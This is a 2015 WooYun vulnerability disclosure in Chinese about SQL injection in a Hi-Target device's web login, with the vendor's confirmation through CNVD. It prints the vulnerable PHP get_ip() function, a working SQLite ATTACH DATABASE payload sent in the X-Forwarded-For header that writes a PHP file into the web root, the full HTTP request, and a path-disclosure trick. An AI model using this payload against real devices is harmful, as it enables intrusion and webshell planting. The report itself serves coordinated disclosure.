当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140314

漏洞标题:中海达某设备产品多处SQL注入可getshell(附众多案例)

相关厂商:广州中海达卫星导航技术股份有限公司

漏洞作者: 路人甲

提交时间:2015-09-13 12:37

修复时间:2015-12-14 14:38

公开时间:2015-12-14 14:38

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-13: 细节已通知厂商并且等待厂商处理中
2015-09-15: 厂商已经确认,细节仅向厂商公开
2015-09-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

中海达某设备产品多处SQL注入可getshell(附众多案例),SQLite getshell实战。

详细说明:

官方网站产品介绍:
http://**.**.**.**/Product.aspx?p1=1
相当的高大上,不多说了,该系统采用的是SQLite数据库,可无限制getshell
在该系统中 有一个获取ip信息的函数get_ip()

function get_ip(){   
if ($_SERVER['HTTP_CLIENT_IP'] && $_SERVER['HTTP_CLIENT_IP']!='unknown'){
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif($_SERVER['HTTP_X_FORWARDED_FOR'] && $_SERVER['HTTP_X_FORWARDED_FOR']!='unknown'){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}


很明显,只要调用了这个函数,进入sql查询 均可以造成漏洞,通过搜索发现 该系统的多个文件调用了该函数,均可造成SQL注入漏洞,如图

1.png


下面随便选取一处进行漏洞证明(这里就选择登录的地方):
在登录的地方,会写入日志文件,我们构造如下payload,可以实现getshell:

X-Forwarded-For: **.**.**.**',1,2,3,4,5,6);ATTACH DATABASE '/home/www/apache/htdocs/CSS/e.php' AS pwn;CREATE TABLE pwn.exp(dataz text);INSERT INTO pwn.exp(dataz) VALUES('<?php phpinfo();?>');--


(绝对路径的获取:访问/cover.php 即可爆出系统的绝对路径)
好,接下来我们直接发送如下数据包,即可getshell

POST /login.php HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 70
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
X-Forwarded-For: **.**.**.**',1,2,3,4,5,6);ATTACH DATABASE '/home/www/apache/htdocs/CSS/e.php' AS pwn;CREATE TABLE pwn.exp(dataz text);INSERT INTO pwn.exp(dataz) VALUES('<?php phpinfo();?>');--
usr=guest&psw=guest&action=1&lang=en&redirect=%2Fpages%2Fen%2Fuser.php

2.png


成功获取到shell

http://**.**.**.**/CSS/e.php


3.png


给出多个案例:

http://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:8000/
**.**.**.**:8000/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:8000/
**.**.**.**/
**.**.**.**/
**.**.**.**/
http://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:8000/


漏洞证明:

**.**.**.**/CSS/e.php


3.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-09-15 14:37

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过以往建立的处置渠道向软件生产厂商通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

评价